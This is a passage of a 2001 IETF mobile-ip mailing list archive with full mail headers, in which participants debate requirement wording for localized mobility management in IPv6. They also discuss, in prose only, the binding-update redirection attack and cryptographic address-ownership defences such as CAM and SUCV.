<DIV><FONT face=3DArial size=3D2>Hi Hesham and working =
group,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please review over the following text =
for changing=20
the following </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>security requirement from:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3.2.6 Any LMM scheme MUST make use of a =
strong=20
authentication mechanism<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to avoid a =
malicious=20
MN from diverting traffic destined to =
a<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
legitimate MN.&nbsp; LMM SHOULD also ensure that the network be=20
able<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to maintain topological =
confidentiality=20
from visiting mobile<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nodes.&nbsp; That =
is to=20
say that the LMM scheme in use SHOULD =
NOT<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
reveal the visited network's topology to the Mobile =
Node.<BR><BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>to the following:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3.2.6 An LMM scheme MUST provide =
support for=20
security<BR>at the level associated with routing. LMM SHOULD also ensure =
that=20
the<BR>network be able to maintain topological confidentiality from=20
visiting<BR>mobile nodes.&nbsp; That is to say that the LMM scheme in =
use SHOULD=20
NOT<BR>reveal the visited network's topology to the Mobile =
Node.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Please send any issues with this by =
tomorrow's=20
deadline.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>Thanks....<BR></DIV></FONT></BODY></HTML>

------=_NextPart_000_119C_01C171E1.978683C0--



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 20 21:59:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15919
	for <mobileip-archive@odin.ietf.org>; Tue, 20 Nov 2001 21:59:36 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA05929;
	Tue, 20 Nov 2001 18:59:00 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA07959;
	Tue, 20 Nov 2001 18:57:46 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL2uPLS004411
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 18:56:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL2uPkl004410
	for mobile-ip-dist; Tue, 20 Nov 2001 18:56:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL2uLLS004403
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 18:56:21 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA07784
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 18:56:22 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA19946
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 19:56:36 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAL2uL517066;
	Tue, 20 Nov 2001 18:56:21 -0800 (PST)
Message-ID: <122d01c17238$0a852ec0$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>, "Cedric Westphal" <cedric@iprg.nokia.com>,
        <Hesham.Soliman@era.ericsson.se>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF> <0f8701c171f2$c905a820$686015ac@docomocarl> <020301c17221$115b06f0$0e02320a@T23KEMPF>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Tue, 20 Nov 2001 18:55:56 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

> 
> Here is what the second paragraph says:
> 
>     LMM and any standardized Mobile IPv6
>     handover algorithm  MUST BE able to be deployed independently
>     of each other.
> 
> So please explain to me how an LMM solution that leverages
> a handover protocol could be separately deployed from
> the handover protocol?
> 
>                 jak
> 
> 

Hello James,  

Initially the requirement was written from the perspective
of an "optimized" MIPv6 handover scheme that was *optional*.

So with your proposal we are now not making any assumptions
about the nature of the handover scheme.  Indeed, it could just simply
be MIPv6.  I will use the suggested text and include:

3.9 Support for Mobile IPv6 Handover

Since one of the primary goals of LMM is to minimize
signaling during handover, an LMM solution MUST
be available for the standardized Mobile IPv6 handover
algorithms. LMM and the Mobile IPv6 handover algorithms
MUST maintain compatibility in their signaling interactions for
fulfilling complementary roles with respect to each other.


If anyone has any comments on this requirement, please
make your concerns known.

Thanks to all those who read the draft:) and provided feedback.

Carl




From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 00:24:39 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA18780
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 00:24:39 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA29542;
	Tue, 20 Nov 2001 21:23:30 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA22948;
	Tue, 20 Nov 2001 21:21:54 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL5L2LS004648
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 20 Nov 2001 21:21:02 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL5L2Mf004647
	for mobile-ip-dist; Tue, 20 Nov 2001 21:21:02 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL5KwLS004640
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 21:20:58 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA27379
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 21:20:57 -0800 (PST)
Received: from ALPHA1.CC.MONASH.EDU.AU (alpha1.cc.monash.edu.au [130.194.1.1])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA10231
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 20 Nov 2001 21:20:55 -0800 (PST)
Received: from thwack.its.monash.edu.au ([130.194.1.72])
 by vaxc.cc.monash.edu.au (PMDF V6.1 #39306)
 with ESMTP id <01KAYZVLO4DG8ZE7FP@vaxc.cc.monash.edu.au> for
 mobile-ip@sunroof.eng.sun.com; Wed, 21 Nov 2001 16:11:17 +1100
Received: from localhost (localhost [127.0.0.1])	by thwack.its.monash.edu.au
 (Postfix) with ESMTP id 3F7E612C002	for <mobile-ip@sunroof.eng.sun.com>; Wed,
 21 Nov 2001 16:11:17 +1100 (EST)
Received: from eng.monash.edu.au
 (PC00004790.eng.monash.edu.au [130.194.137.189])	by thwack.its.monash.edu.au
 (Postfix) with ESMTP id 8702112C00E	for <mobile-ip@sunroof.eng.sun.com>; Wed,
 21 Nov 2001 16:11:15 +1100 (EST)
Date: Wed, 21 Nov 2001 16:15:50 +1100
From: Greg Daley <greg.daley@eng.monash.edu.au>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
To: mobile-ip@sunroof.eng.sun.com
Message-id: <3BFB3886.3D6E3C37@eng.monash.edu.au>
Organization: Monash University
MIME-version: 1.0
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.10mobile i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en
References: <Pine.LNX.4.33.0111191248280.23106-100000@netcore.fi>
 <3BF8E69B.19F7638B@inrialpes.fr>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7BIT

Claude Castelluccia wrote:
[previous responses snipped]
> 
> I think you are (or am it?).
> The attack described in draft-aura-mipv6-bu-attacks-00.txt consists
> for an attacker to redirect its traffic to a victim by using the
> victim address
> as CoA...for example, the attacker starts few big ftp transfers and
> then sends
> a BU to each server with the victim address as CoA...the ftp will then
> be send to the victim....
> 
> This is worse than snopping an address and bombarding it directly...
> 
> Claude.


	Hello Claude,

	I'm just catching up on this discussion, but regarding the HMIPv6
	draft which you worked on, wouldn't SUCV prevent the extended mode
	form being readily adopted (Since the assumed RCoA in Extended Mode
	is another node (the MAP)'s Global IP address and the MN cannot form
the
	correct SUCV HID for this RCoA).

	Do you see this as an idea which should deprecate HMIPv6 extended mode,
	if it were to become the adopted interface identifier scheme?

	Not trying to stir the conversation too much, but since you 
	have an interest in both SUCV and HMIPv6, it would be interesting
	to see how you rank the proposals in importance (or whether you see
	a way around this yet).

		Greg Daley


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 03:23:09 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA07060
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 03:23:09 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA28369;
	Wed, 21 Nov 2001 01:20:59 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA10628;
	Wed, 21 Nov 2001 00:20:56 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL8JVLS004906
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:19:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL8JVGe004905
	for mobile-ip-dist; Wed, 21 Nov 2001 00:19:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL8JSLS004898
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:19:28 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA17427
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:19:28 -0800 (PST)
Received: from plugtests.plugtests.net ([217.167.117.2])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA03489
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:19:20 -0800 (PST)
Received: from egypt.64translator.com ([217.167.116.68]) by plugtests.plugtests.net with Microsoft SMTPSVC(5.0.2195.3779);
	 Wed, 21 Nov 2001 09:20:08 +0100
Date: Wed, 21 Nov 2001 17:20:39 +0900
From: Yukiyo Akisada <yukiyo_akisada@yokogawa.co.jp>
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] Home Agent Lifetime
Message-Id: <20011121172039.3a66ac0e.yukiyo_akisada@yokogawa.co.jp>
Organization: Yokogawa Electric Corporation
X-Mailer: Sylpheed version 0.6.5 (GTK+ 1.2.10; i386-unknown-freebsd4.4)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 21 Nov 2001 08:20:08.0327 (UTC) FILETIME=[54D01170:01C17265]
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi, All.

I have one question about Home Agent Lifetime.

In <draft-ietf-mobileip-ipv6-XX.txt>,
chapter 6.X "New Advertisement Interval Option Format"
says that a value of 0 MUST NOT be used.

But, chapter 9.X "Receiving Router Advertisement Messages"
says that when received home agent lifetime value is zero,
immediately delete this entry in the Home Agents List.

So, can I use zero as the value?, or not?


Regards.

----
Yukiyo Akisada @ TAHI Project


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 03:33:13 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA07208
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 03:33:12 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA05978;
	Wed, 21 Nov 2001 01:31:38 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA11869;
	Wed, 21 Nov 2001 00:31:21 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL8ThLS005036
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:29:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL8TgZ8005035
	for mobile-ip-dist; Wed, 21 Nov 2001 00:29:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL8TdLS005028
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:29:39 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA18724
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:29:39 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id AAA16611
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:29:38 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04491-0@bells.cs.ucl.ac.uk>; Wed, 21 Nov 2001 08:29:35 +0000
Message-ID: <3BFB65EF.DF6A98C1@cs.ucl.ac.uk>
Date: Wed, 21 Nov 2001 08:29:35 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: Cedric Westphal <cedric@iprg.nokia.com>,
        "Hesham.Soliman" <Hesham.Soliman@era.ericsson.se>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF> <0f8701c171f2$c905a820$686015ac@docomocarl> <020301c17221$115b06f0$0e02320a@T23KEMPF>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Jak,

  I thought that any mention w.r.t. a handover and compatibility of a
handover mechanism w.r.t to an LMM scheme was only to imply
compatibility with handoff optimisations. That is to say, it assumes
existence of base MIPv6 handoffs at the very least..i.e. we assume base
MIPv6 and only care about compatibility of LMM schemes with handoff
mechanisms _beyond_ base mobility (a.k.a MIPv6).

Theo
UCL/Mobile Systems Group

James Kempf wrote:
> 
> Hi Carl,
> 
> > > 1) It still could be interpreted as excluding standard Mobile IPv6.
> I
> > > think all reference to fast handover as opposed to handover at all
> > > should be deleted.
> > >
> >
> > James,  I don't see that in the requirement.  The only mention of Fast
> > handofff
> > is in the title (which I can change to Supprt for Handover In IPv6").
> >
> 
> The first paragraph also talks about "quickly moving," implying
> fast handover. I'd suggest removing the first paragraph.
> >
> > > 2) The second and third paragraphs are in contradiction. The second
> > > paragraph says that LMM and handover must be separately deployable,
> but
> > > the third says that optimization is allowed. This still prohibits a
> > > solution in which LMM and handover are combined.
> > >
> >
> > No.  This is not what this says.  Please read carefully:
> >
> 
> Here is what the second paragraph says:
> 
>     LMM and any standardized Mobile IPv6
>     handover algorithm  MUST BE able to be deployed independently
>     of each other.
> 
> So please explain to me how an LMM solution that leverages
> a handover protocol could be separately deployed from
> the handover protocol?
> 
>                 jak


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 03:58:09 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA07467
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 03:58:09 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA12376;
	Wed, 21 Nov 2001 00:56:54 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA14778;
	Wed, 21 Nov 2001 00:56:23 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL8tHLS005203
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:55:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAL8tHPe005202
	for mobile-ip-dist; Wed, 21 Nov 2001 00:55:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAL8tELS005195
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:55:14 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA21450
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:55:14 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA02042
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 00:55:12 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fAL8t8C27958;
	Wed, 21 Nov 2001 09:55:08 +0100 (MET)
Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id fAL8t7h25699;
	Wed, 21 Nov 2001 10:55:07 +0200 (EET)
Message-ID: <3BFB6BEB.56731957@lmf.ericsson.se>
Date: Wed, 21 Nov 2001 10:55:07 +0200
From: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mat@cisco.com
CC: mobile-ip@sunroof.eng.sun.com, tuomaura@microsoft.com
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
References: <Pine.LNX.4.33.0111180009140.1778-100000@netcore.fi>
		<02fd01c17019$865b2ca0$8a1b6e0a@arenanet.fi> <15354.61829.483708.530209@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Michael Thomas wrote:

>  > CAM does not need any infrastructure! Your address is (partially)
>  > a hash of your public key, and with the private key you prove you
>  > "own" the address. The "proof" relates to the fact that it is hard
>  > for anyone else to find another public key that would hash to the
>  > same value.
>  >
>  > Therefore, no PKI is needed. The sender just sends its public key,
>  > the address is implicit in the packet in the HOA (or similar place),
>  > and a signature by the private key verifies the CoA.
> 
> Jari,
> 
> I too have only managed to skim this, but what
> prevents me from source spoofing an address for
> which I've done keygen and signed?

The CAM procedure itself does not protect against
this, but note the following: (1) If you generated
a key and an address from it, you are not hijacking
any existing nodes because the addresses would be
different, so in a way this is not a threat. (2)
Procedures
run under or before CAM (such as BAKE/2 -- see the CAM-DH
draft) would be able to show return routability, so in
order for the attacker to succeed he'd have to be for
instance in the home network. If he's there, he could do
also other damage.

> Is this a
> threat? Also: this seems to imply that you
> wouldn't be able to the normal MAC address (sorry,
> I always forget its proper acronym) mechanism, or
> any other well known formats.

Yes, IEEE address format wouldn't be used. You'll
also be re-generating the key and the address now
and then for added security, so it is possible that
mobile servers might wish to make use of Dynamic DNS.

> In particular, I'm a
> little bit worried about not being able to be a
> mobile node which responds to anycast addresses,
> or perhaps a node which wants to remain anonymous,
> yet still be able to do route optimization. Is
> this feasible?

I think anon MNs are quite feasible. Just run your
RFC 3041 procedure by generating a new key now and
then.

As for the anycast case, I'm somewhat uncertain how
mobility and anycasting would fit in together anyway.

Jari


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 06:35:34 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA09326
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 06:35:34 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA06003;
	Wed, 21 Nov 2001 03:34:13 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13162;
	Wed, 21 Nov 2001 03:34:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALBXELS005578
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 03:33:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALBXEtK005577
	for mobile-ip-dist; Wed, 21 Nov 2001 03:33:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALBXALS005570
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 03:33:10 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA24943
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 03:33:10 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA18156
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 04:32:51 -0700 (MST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fALBX7f08307
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 12:33:08 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Wed Nov 21 12:32:49 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ87F6T>; Wed, 21 Nov 2001 12:33:01 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'Carl Williams'" <carlw@docomolabs-usa.com>,
